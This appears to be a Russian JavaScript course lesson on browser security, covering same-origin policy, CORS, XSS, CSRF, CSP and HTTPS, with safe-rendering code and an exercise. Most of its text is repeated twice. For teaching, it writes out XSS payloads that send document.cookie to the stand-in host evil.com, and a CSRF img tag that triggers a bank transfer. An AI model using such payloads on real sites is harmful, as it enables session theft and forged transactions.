← Браузер/Безопасность в браузере#181 из 383← ПредыдущийСледующий →+20 XP
Полезно по теме:Гайд: как учить JavaScriptПрактика: async и сетьТермин: Event LoopТермин: Core Web Vitals

Безопасность в браузере

Браузер — основная среда выполнения JavaScript, и он постоянно сталкивается с угрозами: вредоносными скриптами, подделкой запросов, кражей данных. Понимание механизмов безопасности помогает писать код, который не становится уязвимостью.

Same-Origin Policy (Политика одного источника)

Same-Origin Policy — фундаментальная защита браузера. Скрипт на https://mysite.ru не может читать ответы от https://api.other.ru или обращаться к DOM страницы на другом origin.

Origin = протокол + домен + порт. Примеры разных origins:

  • http://example.com и https://example.com — разные (протокол)
  • https://app.example.com и https://api.example.com — разные (субдомен)
  • https://example.com:3000 и https://example.com — разные (порт)
  • CORS — управляемое исключение

    CORS (Cross-Origin Resource Sharing) позволяет серверу явно разрешить запросы с других origins. Сервер добавляет заголовки:

  • Access-Control-Allow-Origin: https://mysite.ru — разрешить этот origin
  • Access-Control-Allow-Origin: * — разрешить всем (небезопасно для API с аутентификацией)
  • Access-Control-Allow-Methods: GET, POST
  • Access-Control-Allow-Headers: Content-Type, Authorization
  • Для «небезопасных» запросов (с кастомными заголовками или методами PUT/DELETE) браузер сначала делает preflight-запрос OPTIONS. Только если сервер отвечает правильными CORS-заголовками, отправляется реальный запрос.

    XSS — межсайтовый скриптинг

    XSS (Cross-Site Scripting) — внедрение вредоносного JavaScript на страницу через пользовательский ввод. Атакующий заставляет браузер жертвы выполнить его код.

    Пример атаки: форма комментариев сохраняет текст и выводит через innerHTML. Атакующий вводит <script>fetch('evil.com?c='+document.cookie)</script> — и скрипт выполняется у всех, кто видит этот комментарий.

    Защита:

  • Использовать textContent вместо innerHTML для вывода пользовательских данных
  • Санировать HTML через DOMPurify перед вставкой через innerHTML
  • Content Security Policy (CSP) — ограничить источники скриптов
  • CSRF — межсайтовая подделка запросов

    CSRF (Cross-Site Request Forgery) — атака, при которой вредоносный сайт заставляет браузер жертвы отправить запрос к другому сайту от имени жертвы. Браузер автоматически прикладывает cookies к запросу.

    Пример: пользователь авторизован в онлайн-банке. Он переходит на вредоносный сайт с картинкой <img src="https://bank.ru/transfer?to=attacker&amount=10000">. Если банк обрабатывает GET-запросы для переводов, деньги утекут.

    Защита: CSRF-токены (случайные значения, известные только серверу и клиенту), SameSite cookies, проверка заголовка Origin/Referer.

    Content Security Policy

    CSP — HTTP-заголовок, который ограничивает, откуда браузер может загружать ресурсы:

    Content-Security-Policy: default-src 'self'; script-src 'self' cdn.example.com

    Это не позволит выполнить inline-скрипты или загрузить JavaScript с неразрешённых источников, даже если XSS-атака удалась.

    HTTPS

    HTTPS шифрует трафик между браузером и сервером. Без HTTPS возможен MITM-атаки (man-in-the-middle) — злоумышленник между браузером и сервером может читать и подменять данные. Пароли, номера карт, токены нельзя передавать по HTTP.

    Примеры

    Безопасная обработка пользовательского ввода, защита от XSS

    // НЕБЕЗОПАСНО: innerHTML с пользовательскими данными открывает XSS
    function unsafeRender(container, userInput) {
      container.innerHTML = userInput  // ОПАСНО!
      // Если userInput = '<img src=x onerror="alert(document.cookie)">'
      // браузер выполнит onerror — XSS!
    }
    
    // БЕЗОПАСНО: textContent экранирует все HTML-символы
    function safeRenderText(container, userInput) {
      container.textContent = userInput  // Безопасно — вставляет как текст, не HTML
      // '<script>alert(1)</script>' отобразится буквально, а не выполнится
    }
    
    // БЕЗОПАСНО: ручная санация без сторонних библиотек
    function sanitizeHTML(input) {
      const div = document.createElement('div')
      div.textContent = input  // экранируем через textContent
      return div.innerHTML      // получаем безопасный HTML
      // '<script>' → '&lt;script&gt;'
    }
    
    // Функция для безопасного отображения списка комментариев
    function renderComments(container, comments) {
      // Очищаем контейнер
      container.textContent = ''
    
      comments.forEach(comment => {
        const article = document.createElement('article')
    
        const author = document.createElement('strong')
        // Используем textContent — данные от пользователя никогда через innerHTML
        author.textContent = comment.author
    
        const text = document.createElement('p')
        text.textContent = comment.text
    
        article.appendChild(author)
        article.appendChild(text)
        container.appendChild(article)
      })
    }
    
    // Пример: вредоносный комментарий становится безобидным текстом
    const maliciousComment = {
      author: 'Вася<script>стащить куки</script>',
      text: '<img src=x onerror="fetch(evil.com+document.cookie)">',
    }
    
    const div = document.createElement('div')
    renderComments(div, [maliciousComment])
    // Всё выводится как текст — атака не сработала

    Безопасность в браузере

    Браузер — основная среда выполнения JavaScript, и он постоянно сталкивается с угрозами: вредоносными скриптами, подделкой запросов, кражей данных. Понимание механизмов безопасности помогает писать код, который не становится уязвимостью.

    Same-Origin Policy (Политика одного источника)

    Same-Origin Policy — фундаментальная защита браузера. Скрипт на https://mysite.ru не может читать ответы от https://api.other.ru или обращаться к DOM страницы на другом origin.

    Origin = протокол + домен + порт. Примеры разных origins:

  • http://example.com и https://example.com — разные (протокол)
  • https://app.example.com и https://api.example.com — разные (субдомен)
  • https://example.com:3000 и https://example.com — разные (порт)
  • CORS — управляемое исключение

    CORS (Cross-Origin Resource Sharing) позволяет серверу явно разрешить запросы с других origins. Сервер добавляет заголовки:

  • Access-Control-Allow-Origin: https://mysite.ru — разрешить этот origin
  • Access-Control-Allow-Origin: * — разрешить всем (небезопасно для API с аутентификацией)
  • Access-Control-Allow-Methods: GET, POST
  • Access-Control-Allow-Headers: Content-Type, Authorization
  • Для «небезопасных» запросов (с кастомными заголовками или методами PUT/DELETE) браузер сначала делает preflight-запрос OPTIONS. Только если сервер отвечает правильными CORS-заголовками, отправляется реальный запрос.

    XSS — межсайтовый скриптинг

    XSS (Cross-Site Scripting) — внедрение вредоносного JavaScript на страницу через пользовательский ввод. Атакующий заставляет браузер жертвы выполнить его код.

    Пример атаки: форма комментариев сохраняет текст и выводит через innerHTML. Атакующий вводит <script>fetch('evil.com?c='+document.cookie)</script> — и скрипт выполняется у всех, кто видит этот комментарий.

    Защита:

  • Использовать textContent вместо innerHTML для вывода пользовательских данных
  • Санировать HTML через DOMPurify перед вставкой через innerHTML
  • Content Security Policy (CSP) — ограничить источники скриптов
  • CSRF — межсайтовая подделка запросов

    CSRF (Cross-Site Request Forgery) — атака, при которой вредоносный сайт заставляет браузер жертвы отправить запрос к другому сайту от имени жертвы. Браузер автоматически прикладывает cookies к запросу.

    Пример: пользователь авторизован в онлайн-банке. Он переходит на вредоносный сайт с картинкой <img src="https://bank.ru/transfer?to=attacker&amount=10000">. Если банк обрабатывает GET-запросы для переводов, деньги утекут.

    Защита: CSRF-токены (случайные значения, известные только серверу и клиенту), SameSite cookies, проверка заголовка Origin/Referer.

    Content Security Policy

    CSP — HTTP-заголовок, который ограничивает, откуда браузер может загружать ресурсы:

    Content-Security-Policy: default-src 'self'; script-src 'self' cdn.example.com

    Это не позволит выполнить inline-скрипты или загрузить JavaScript с неразрешённых источников, даже если XSS-атака удалась.

    HTTPS

    HTTPS шифрует трафик между браузером и сервером. Без HTTPS возможен MITM-атаки (man-in-the-middle) — злоумышленник между браузером и сервером может читать и подменять данные. Пароли, номера карт, токены нельзя передавать по HTTP.

    Примеры

    Безопасная обработка пользовательского ввода, защита от XSS

    // НЕБЕЗОПАСНО: innerHTML с пользовательскими данными открывает XSS
    function unsafeRender(container, userInput) {
      container.innerHTML = userInput  // ОПАСНО!
      // Если userInput = '<img src=x onerror="alert(document.cookie)">'
      // браузер выполнит onerror — XSS!
    }
    
    // БЕЗОПАСНО: textContent экранирует все HTML-символы
    function safeRenderText(container, userInput) {
      container.textContent = userInput  // Безопасно — вставляет как текст, не HTML
      // '<script>alert(1)</script>' отобразится буквально, а не выполнится
    }
    
    // БЕЗОПАСНО: ручная санация без сторонних библиотек
    function sanitizeHTML(input) {
      const div = document.createElement('div')
      div.textContent = input  // экранируем через textContent
      return div.innerHTML      // получаем безопасный HTML
      // '<script>' → '&lt;script&gt;'
    }
    
    // Функция для безопасного отображения списка комментариев
    function renderComments(container, comments) {
      // Очищаем контейнер
      container.textContent = ''
    
      comments.forEach(comment => {
        const article = document.createElement('article')
    
        const author = document.createElement('strong')
        // Используем textContent — данные от пользователя никогда через innerHTML
        author.textContent = comment.author
    
        const text = document.createElement('p')
        text.textContent = comment.text
    
        article.appendChild(author)
        article.appendChild(text)
        container.appendChild(article)
      })
    }
    
    // Пример: вредоносный комментарий становится безобидным текстом
    const maliciousComment = {
      author: 'Вася<script>стащить куки</script>',
      text: '<img src=x onerror="fetch(evil.com+document.cookie)">',
    }
    
    const div = document.createElement('div')
    renderComments(div, [maliciousComment])
    // Всё выводится как текст — атака не сработала

    Задание

    Напиши функцию safeSetContent(element, userText), которая безопасно отображает пользовательский текст в элементе. Функция должна: 1) использовать textContent вместо innerHTML, 2) обрезать текст до 500 символов, 3) убрать лишние пробелы по краям. Также напиши функцию escapeHTML(str), которая заменяет &, <, >, ", ' на HTML-entities.

    Подсказка

    Используй str.trim() для обрезки пробелов, str.slice(0, 500) для ограничения длины. Устанавливай content через element.textContent. В escapeHTML замени & сначала, иначе экранированные символы будут экранированы повторно.

    Загружаем среду выполнения...
    Загружаем AI-помощника...